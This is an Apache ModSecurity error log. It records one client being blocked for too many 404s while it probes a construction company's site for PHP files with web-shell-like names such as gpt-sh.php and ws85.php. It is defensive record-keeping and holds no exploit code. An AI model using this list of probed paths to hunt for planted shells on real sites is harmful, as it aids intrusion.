[Wed Apr 01 19:25:33.478734 2026] [:error] [pid 8995:tid 9015] [client 52.156.211.140:37242] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "ac0AreonaBjs3qxcReep_gAAABE"]
[Wed Apr 01 19:25:33.990728 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:36998] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "ac0ArS7NKI8IaNKZFId5fAAAAUg"]
[Wed Apr 01 19:25:34.494736 2026] [:error] [pid 17856:tid 17870] [client 52.156.211.140:37225] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "ac0Arj7Idlm5j9frhqTwbgAAAEw"]
[Wed Apr 01 19:25:34.996525 2026] [:error] [pid 8910:tid 8974] [client 52.156.211.140:37245] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "ac0ArqJZINUcF3tYgExGxwAAAQY"]
[Wed Apr 01 19:25:36.082430 2026] [:error] [pid 8908:tid 8913] [client 52.156.211.140:37014] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "ac0AsPkmxtJXGnLdvgBZygAAAIA"]
[Wed Apr 01 19:25:37.189327 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:37240] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ac0AsTvP_a0662gDl6BvJQAAAMo"]
[Wed Apr 01 19:25:37.717145 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:37206] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ac0AsfkmxtJXGnLdvgBZzgAAAJI"]
[Wed Apr 01 19:25:38.218247 2026] [:error] [pid 8995:tid 9001] [client 52.156.211.140:36996] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ac0AsuonaBjs3qxcReeqBAAAAAM"]
[Wed Apr 01 19:25:38.763148 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:37192] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ac0AsjvP_a0662gDl6BvMQAAAMs"]
[Wed Apr 01 19:25:39.295836 2026] [:error] [pid 8908:tid 8926] [client 52.156.211.140:37200] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ac0As_kmxtJXGnLdvgBZ0wAAAI0"]
[Wed Apr 01 19:25:42.899964 2026] [:error] [pid 8910:tid 8978] [client 52.156.211.140:37009] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ac0AtqJZINUcF3tYgExGzgAAAQo"]
[Wed Apr 01 19:25:43.572966 2026] [:error] [pid 8909:tid 8956] [client 52.156.211.140:36994] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ac0AtzvP_a0662gDl6BvQAAAAM8"]
[Wed Apr 01 19:25:44.203724 2026] [:error] [pid 8910:tid 8985] [client 52.156.211.140:37194] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ac0AuKJZINUcF3tYgExG0QAAARE"]
[Wed Apr 01 19:25:44.719352 2026] [:error] [pid 8995:tid 9003] [client 52.156.211.140:37015] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac0AuOonaBjs3qxcReeqDAAAAAU"]
[Wed Apr 01 19:25:45.222579 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:37011] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac0AuT7Idlm5j9frhqTwgwAAAFI"]
[Wed Apr 01 19:25:45.725667 2026] [:error] [pid 8910:tid 8980] [client 52.156.211.140:37210] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac0AuaJZINUcF3tYgExG1AAAAQw"]
[Wed Apr 01 19:25:46.227030 2026] [:error] [pid 8910:tid 8990] [client 52.156.211.140:37204] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac0AuqJZINUcF3tYgExG2QAAARY"]
[Wed Apr 01 19:25:46.746013 2026] [:error] [pid 8995:tid 8999] [client 52.156.211.140:37202] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "ac0AuuonaBjs3qxcReeqDgAAAAE"]
[Wed Apr 01 19:25:47.337002 2026] [:error] [pid 17856:tid 17874] [client 52.156.211.140:36997] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "ac0Auz7Idlm5j9frhqTwhwAAAFA"]
[Wed Apr 01 19:25:47.835227 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:37241] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "ac0Auz7Idlm5j9frhqTwigAAAFY"]
[Wed Apr 01 19:25:48.341545 2026] [:error] [pid 8909:tid 8965] [client 52.156.211.140:37013] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "ac0AvDvP_a0662gDl6BvSQAAANg"]
[Wed Apr 01 19:25:48.851919 2026] [:error] [pid 8908:tid 8916] [client 52.156.211.140:37197] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ac0AvPkmxtJXGnLdvgBZ5gAAAIM"]
[Wed Apr 01 19:25:49.438658 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:37189] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ac0AvTvP_a0662gDl6BvTQAAAMo"]
[Wed Apr 01 19:25:49.940745 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:4058] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ac0AvT7Idlm5j9frhqTwjwAAAEI"]
[Wed Apr 01 19:25:50.458154 2026] [:error] [pid 8909:tid 8947] [client 52.156.211.140:37243] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ac0AvjvP_a0662gDl6BvUwAAAMY"]
[Wed Apr 01 19:25:50.993100 2026] [:error] [pid 17856:tid 17875] [client 52.156.211.140:37203] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "ac0Avj7Idlm5j9frhqTwkgAAAFE"]
[Wed Apr 01 19:25:51.529171 2026] [:error] [pid 8908:tid 8924] [client 52.156.211.140:37001] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "ac0Av_kmxtJXGnLdvgBZ6gAAAIs"]
[Wed Apr 01 19:25:52.063314 2026] [:error] [pid 8909:tid 8941] [client 52.156.211.140:37190] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "ac0AwDvP_a0662gDl6BvXgAAAMA"]
[Wed Apr 01 19:25:53.573412 2026] [:error] [pid 8908:tid 8934] [client 52.156.211.140:37034] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "ac0AwfkmxtJXGnLdvgBZ7gAAAJU"]
[Wed Apr 01 19:25:54.116108 2026] [:error] [pid 17856:tid 17862] [client 52.156.211.140:37007] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "ac0Awj7Idlm5j9frhqTwmAAAAEQ"]
[Wed Apr 01 19:25:54.622294 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:37228] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "ac0AwvkmxtJXGnLdvgBZ8QAAAI8"]
[Wed Apr 01 19:25:55.167842 2026] [:error] [pid 8910:tid 8989] [client 52.156.211.140:37198] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "ac0Aw6JZINUcF3tYgExG4gAAARU"]
[Wed Apr 01 19:25:55.738386 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:37215] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "ac0AwzvP_a0662gDl6BvYwAAANY"]
[Wed Apr 01 19:25:56.288300 2026] [:error] [pid 62559:tid 62582] [client 52.156.211.140:37201] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ac0AxC7NKI8IaNKZFId5kQAAAVU"]
[Wed Apr 01 19:25:56.810296 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:37212] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ac0AxKJZINUcF3tYgExG5gAAAQg"]
[Wed Apr 01 19:25:57.923397 2026] [:error] [pid 8995:tid 9008] [client 52.156.211.140:37207] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ac0AxeonaBjs3qxcReeqFQAAAAo"]
[Wed Apr 01 19:25:58.431763 2026] [:error] [pid 8995:tid 9012] [client 52.156.211.140:37233] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ac0AxuonaBjs3qxcReeqFwAAAA4"]
[Wed Apr 01 19:25:58.968840 2026] [:error] [pid 8995:tid 9004] [client 52.156.211.140:37008] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "ac0AxuonaBjs3qxcReeqGQAAAAY"]
[Wed Apr 01 19:26:00.084207 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:37217] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "ac0AyD7Idlm5j9frhqTwogAAAEE"]
[Wed Apr 01 19:26:00.609317 2026] [:error] [pid 8910:tid 8972] [client 52.156.211.140:37232] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "ac0AyKJZINUcF3tYgExG7QAAAQQ"]
[Wed Apr 01 19:26:01.141663 2026] [:error] [pid 8908:tid 8913] [client 52.156.211.140:36993] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "ac0AyfkmxtJXGnLdvgBZ-gAAAIA"]
[Wed Apr 01 19:26:01.640624 2026] [:error] [pid 8908:tid 8929] [client 52.156.211.140:37208] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac0AyfkmxtJXGnLdvgBZ-wAAAJA"]
[Wed Apr 01 19:26:02.153745 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37214] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac0AyjvP_a0662gDl6BvbAAAAMc"]
[Wed Apr 01 19:26:04.873508 2026] [:error] [pid 62559:tid 62584] [client 52.156.211.140:4053] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac0AzC7NKI8IaNKZFId5oQAAAVc"]
[Wed Apr 01 19:26:05.401587 2026] [:error] [pid 17856:tid 17865] [client 52.156.211.140:37012] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "ac0AzT7Idlm5j9frhqTwqAAAAEc"]
[Wed Apr 01 19:26:06.024533 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:37211] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "ac0Azj7Idlm5j9frhqTwqgAAAEI"]
[Wed Apr 01 19:26:06.532246 2026] [:error] [pid 8909:tid 8954] [client 52.156.211.140:37185] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "ac0AzjvP_a0662gDl6BvewAAAM0"]
[Wed Apr 01 19:26:07.034789 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:37191] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "ac0AzzvP_a0662gDl6BvgQAAANA"]
[Wed Apr 01 19:26:07.717552 2026] [:error] [pid 8995:tid 9003] [client 52.156.211.140:37020] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "ac0Az-onaBjs3qxcReeqJQAAAAU"]
[Wed Apr 01 19:26:09.235402 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:37226] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "ac0A0TvP_a0662gDl6BvigAAAM4"]
[Wed Apr 01 19:26:09.765645 2026] [:error] [pid 17856:tid 17877] [client 52.156.211.140:37053] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "ac0A0T7Idlm5j9frhqTwuAAAAFM"]
[Wed Apr 01 19:26:10.436018 2026] [:error] [pid 8908:tid 8913] [client 52.156.211.140:37025] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "ac0A0vkmxtJXGnLdvgBaAwAAAIA"]
[Wed Apr 01 19:26:10.956375 2026] [:error] [pid 8909:tid 8950] [client 52.156.211.140:37038] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "ac0A0jvP_a0662gDl6BvkAAAAMk"]
[Wed Apr 01 19:26:12.433770 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:4066] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "ac0A1DvP_a0662gDl6BvlwAAAMo"]
[Wed Apr 01 19:26:12.975422 2026] [:error] [pid 8909:tid 8944] [client 52.156.211.140:37003] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "ac0A1DvP_a0662gDl6BvnQAAAMM"]
[Wed Apr 01 19:26:13.495954 2026] [:error] [pid 8909:tid 8964] [client 52.156.211.140:37000] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "ac0A1TvP_a0662gDl6BvoAAAANc"]
